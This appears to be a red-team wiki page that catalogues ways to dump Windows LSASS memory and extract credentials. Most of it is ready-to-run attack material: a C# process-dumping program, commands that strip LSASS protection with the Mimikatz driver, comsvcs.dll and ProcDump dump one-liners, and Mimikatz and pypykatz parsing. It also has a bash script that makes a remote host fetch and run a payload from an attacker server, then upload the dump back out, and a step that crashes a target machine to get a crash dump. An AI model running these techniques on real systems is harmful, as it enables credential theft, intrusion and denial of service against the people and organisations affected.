lsass.exe

Local Security Authority Subsystem Service

Enumeration

Check if lsass.exe is ran as a protected process (PPL):

PS > Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"

A legit way to disable it via LSA Protected Process Opt-out:

mountvol X: /s
copy C:\LSAPPLConfig.efi X:\EFI\Microsoft\Boot\LSAPPLConfig.efi /Y
bcdedit /create {0cb3b571-2f2e-4343-a879-d86a476d7215} /d "DebugTool" /application osloader
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} path "\EFI\Microsoft\Boot\LSAPPLConfig.efi"
bcdedit /set {bootmgr} bootsequence {0cb3b571-2f2e-4343-a879-d86a476d7215}
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} loadoptions %1
bcdedit /set {0cb3b571-2f2e-4343-a879-d86a476d7215} device partition=X:
mountvol X: /d
shutdown -r -t 0

MiniDumpWriteDump

Parsers

Custom Implementations

MiniDump Callbacks

C# Implementation

SharpMiniDump.cs
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace SharpMiniDump
{
    public class Program
    {
        [DllImport("Dbghelp.dll")]
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);

        [DllImport("kernel32.dll")]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        public static void Main(string[] args)
        {
            FileStream dumpFile = new FileStream(@"C:\Windows\tasks\lsass.dmp", FileMode.Create);

            Process[] lsassProc = Process.GetProcessesByName("lsass");
            int lsassPid = lsassProc[0].Id;
            
            IntPtr hProcess = OpenProcess(
                0x001F0FFF, // PROCESS_ALL_ACCESS
                false,
                lsassPid);

            bool res = MiniDumpWriteDump(
                hProcess,
                lsassPid,
                dumpFile.SafeFileHandle.DangerousGetHandle(),
                2, // MiniDumpWithFullMemory
                IntPtr.Zero,
                IntPtr.Zero,
                IntPtr.Zero);
        }
    }
}

Reusing Open Handles

pypykatz

Cmd > .\pypykatz.exe live lsa --method handledup

SharpHandler

Scan if there are dupeable handles to use:

PS > Invoke-SharpHandler -C "-s"

Write a gzip-compressed minidump to specified location:

PS > Invoke-SharpHandler -C "-w -c -l=C:\Windows\Temp\pony.dat"

Dump and parse with SharpKatz's logonpasswords:

PS > Invoke-SharpHandler -C "-d"

HandleKatz

$ x86_64-w64-mingw32-gcc -o loader.exe loader.cpp -lcrypt32
Cmd > .\loader.exe --pid:852 --outfile:C:\Windows\Temp\dump.obfuscated

LetMeowIn

Silent Process Exit

Remove PPL Protection

Using Mimikatz driver:

PS > sc.exe create mimidrv binPath= C:\Windows\Tasks\mimidrv.sys type= kernel start= demand
PS > sc.exe start mimidrv
PS > Invoke-Mimikatz -Command '"!processprotect /process:lsass.exe /remove" "exit"'

Load SSP

SspirConnectRpc

MirrorDump

Cmd > .\MirrorDump.exe -f "NotLSASS.zip" -d "LegitLSAPlugin.dll" -l 1073741824
Cmd > .\MirrorDump.exe --parse

$ python3 MirrorDump.py 0.0.0.0 31337 --md5 --parse
Cmd > .\MirrorDump.exe --host 10.10.13.37 --port 31337

DuplicateDump

nanodump

Cmd > .\load_ssp.x64.exe C:\Windows\Temp\nanodump_ssp.x64.dll
beacon> load_ssp

Do it automatically with wmiexec.py magic (using this Python HTTP server with PUT support):

nanodump_ssp.sh.cs
#!/usr/bin/env bash

# Usage: sudo nanodump_ssp.sh <[DOMAIN\]USERNAME>:<PASSWORD> <TARGET> <LISTENER>
# Example: sudo nanodump_ssp.sh 'megacorp.local\snovvcrash:Passw0rd!' 192.168.1.11 10.10.13.37 80

CREDS=$1
RHOST=$2
LHOST=$3
LPORT=$4

CMD="IWR -Uri http://${LHOST}/a.exe -OutFile C:\Windows\Temp\a.exe;IWR -Uri http://${LHOST}/a.dll -OutFile C:\Windows\Temp\a.dll;C:\Windows\Temp\a.exe C:\Windows\Temp\a.dll"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

python3 -m http.server ${LPORT} &

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 10

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`
python3 put.py --bind=0.0.0.0 ${LPORT} &

CMD="IWR -Uri http://${LHOST}/out.bin -Method PUT -InFile C:\Windows\Temp\report.docx;rm C:\Windows\Temp\a.exe;rm C:\Windows\Temp\a.dll;rm C:\Windows\Temp\report.docx"
CMD_BASE64=`echo -n ${CMD} | iconv -t UTF-16LE | base64 -w0`

wmiexec.py -silentcommand -nooutput ${CREDS}@${RHOST} "powershell -enc ${CMD_BASE64}"
sleep 30

kill -9 `netstat -tulpan | grep ${LPORT} | grep python | awk '{ print $7 }' | awk -F/ '{ print $1 }'`

bash restore_signature.sh out.bin
pypykatz lsa minidump out.bin

chown ${SUDO_USER}:${SUDO_USER} out.bin

RToolZ

Bypass Saving on Disk Detection

NTFS Transactions

TransactedSharpMiniDump

CredBandit

Dumpy

Kernel Mode

Abusing Gigabyte Driver

CVE-2018-19320

Physical Memory

Convert VMware snapshot to a memory dump with vmss2core:

Cmd > vmss2core.exe -W/-W8 Snapshot.vmsn Snapshot.vmem

Crash Dumps

Get current CrashControl settings and set CrashDumpEnabled to 0x01 (default dump location is C:\Windows\MEMORY.dmp):

$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl'
$ reg.py megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.1 add -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\CrashControl' -v CrashDumpEnabled -vt REG_DWORD -vd 1

Crash the target machine, e. g. with NotMyFault:

This action causes DOS! Do at your own risk.

$ cme smb 192.168.1.1 -u snovvcrash -p 'Passw0rd!' -x '\\10.10.13.37\notmyfaultc64.exe -accepteula /crash 0x03' --no-output

Parse LSASS with Mimikatz and WinDbg:

kd> .load C:\mimilib.dll
kd> .SymFix
kd> .Reload
kd> !process 0 0 lsass.exe
kd> .process /r /p fffffa80072b2b10
kd> !mimikatz

To add debug symbols: FileSymbol file pathSRV*https://msdl.microsoft.com/download/symbols.

Or with Pypykatz plugin for Volatility 3:

$ pip install volatility3 pypykatz
$ git clone https://github.com/volatilityfoundation/volatility3 ~/tools/volatility3
$ git clone https://github.com/skelsec/pypykatz-volatility3 ~/tools/pypykatz-volatility3
$ cd ~/tools/volatility3
$ python3 vol.py -f /path/to/MEMORY.dmp -p ../pypykatz-volatility3 pypykatz

Current version of vol_pypykatz.py need some changes to work with relevant version of Volatility 3:

vol_pypykatz.py.patch
diff --git a/vol_pypykatz.py b/vol_pypykatz.py
index 6c9592f..f53da1d 100644
--- a/vol_pypykatz.py
+++ b/vol_pypykatz.py
@@ -19,7 +19,7 @@ vollog = logging.getLogger(__name__)

 class pypykatz(interfaces.plugins.PluginInterface):

-    _required_framework_version = (1, 0, 0)
+    _required_framework_version = (2, 0, 0)

     @classmethod
     def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
@@ -38,18 +38,4 @@ class pypykatz(interfaces.plugins.PluginInterface):
         ]

     def run(self):
-        return renderers.TreeGrid(
-            [
-                ("Credential Type", str),
-                ("Domain Name", str),
-                ("Username", str),
-                ("NThash", str),
-                ("LMHash", str),
-                ("SHAHash", str),
-                ("masterkey", str),
-                ("masterkey (sha1)", str),
-                ("key_guid", str),
-                ("password", str),
-            ],
-            pparser.go_volatility3(self),
-        )
+        return pparser.go_volatility3(self)

Physmem2profit

Server:

PS > .\Physmem2profit.exe --ip 192.168.1.11 --port 1337 --verbose [--hidden]

Client:

$ python3 physmem2profit --host 192.168.1.11 --port 1337 --install "C:/Windows/Temp/winpmem_x64.sys" --mode all --driver winpmem

Credential Guard

Patch and Bypass

Patch the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variables by their hardcoded offsets within wdigest.dll loaded by LSASS:

Resolve g_fParameter_UseLogonCredential and g_IsCredGuardEnabled variable offsets dynamically at runtime:

Two PoCs above merged:

PassTheChallenge

Attacking vSphere

Tools

comsvcs.dll

PS > $proc = 'ls'+'Ass'
PS > Get-Process $proc
PS > rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\Windows\System32\spool\drivers\color\pony.dat full

Not touching the disk (using an SMB share):

PS > net use z: \\10.10.13.37\share
PS > rundll32.exe c:\Windows\System32\comsvcs.dll, MiniDump (Get-Process ('ls'+'Ass')).id z:\pony.dat full

One-liner:

Cmd > %COMSPEC% /Q /c echo powershell.exe -NoP -C "%WINDIR%\System32\rundll32.exe %WINDIR%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id %WINDIR%\Temp\pony.arj full;Wait-Process -Id (Get-Process rundll32).Id" 2^>^&1 > temp.bat & %COMSPEC% /Q /c temp.bat & del temp.bat

ProcDump

PS > wget http://live.sysinternals.com/PsExec64.exe -o psexec.exe
PS > .\procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp

Process Argument Spoofing

Mimikatz

PS > .\mimikatz.exe "privilege::debug" "token::elevate" "log out.txt" "sekurlsa::logonpasswords full" "exit"

In case of Windows 10 version 1803-1809 use Mimikatz v2.1.1, see Key import error

Parse MiniDump:

PS > .\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" "exit"

kiwi

meterpreter > getsystem
meterpreter > load kiwi
meterpreter > creds_msv
meterpreter > creds_wdigest
meterpreter > lsa_dump_secrets
meterpreter > creds_all
meterpreter > kiwi_cmd '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords full" "exit"'

pypykatz

Parse MiniDump and grep for creds:

$ pypykatz lsa minidump lsass.dmp > out.txt

# Dumped with Mimikatz
$ grep -a '* Username : ' out.txt -A2 | grep -a -e Username -e Password -e NTLM | grep -a -v null | xclip -i -sel c

# Dumped with pypykatz
$ grep -a -P '\tusername ' out.txt -A2 | grep -a -e username -e password | grep -a -v None | xclip -i -sel c
$ grep -a -P 'Username: ' out.txt -A4 | grep -a -e Username -e Domain -e NT | grep -a -v None | xclip -i -sel c

spraykatz

$ python3 spraykatz.py -u snovvcrash -p 'Passw0rd!' -t 10.10.13.37,10.10.13.38,10.10.13.39

Dumpert

Dump lsass.exe using direct syscalls and removing user-land API hooks:

Cmd > rundll32.exe .\Outflank-Dumpert-DLL.dll,Dump

Using sRDI (shellcode Reflective DLL Injection) technique:

  1. Convert it to position independent shellcode with ConvertToShellcode.py: python3 ConvertToShellcode.py Outflank-Dumpert-DLL.dll.

  2. Use a shellcode loader of your choice to dump LSASS.

lsassy

$ lsassy 10.10.13.0/24 -d megacorp.local -u snovvcrash -p 'Passw0rd!'
$ cme smb 10.10.13.0/24 -u snovvcrash -p 'Passw0rd!' -M lsassy

MalSeclogon

Cmd > Malseclogon.exe -p <LSASS_PID> -d 1
Cmd > Malseclogon.exe -p <LSASS_PID> -d 2

Last updated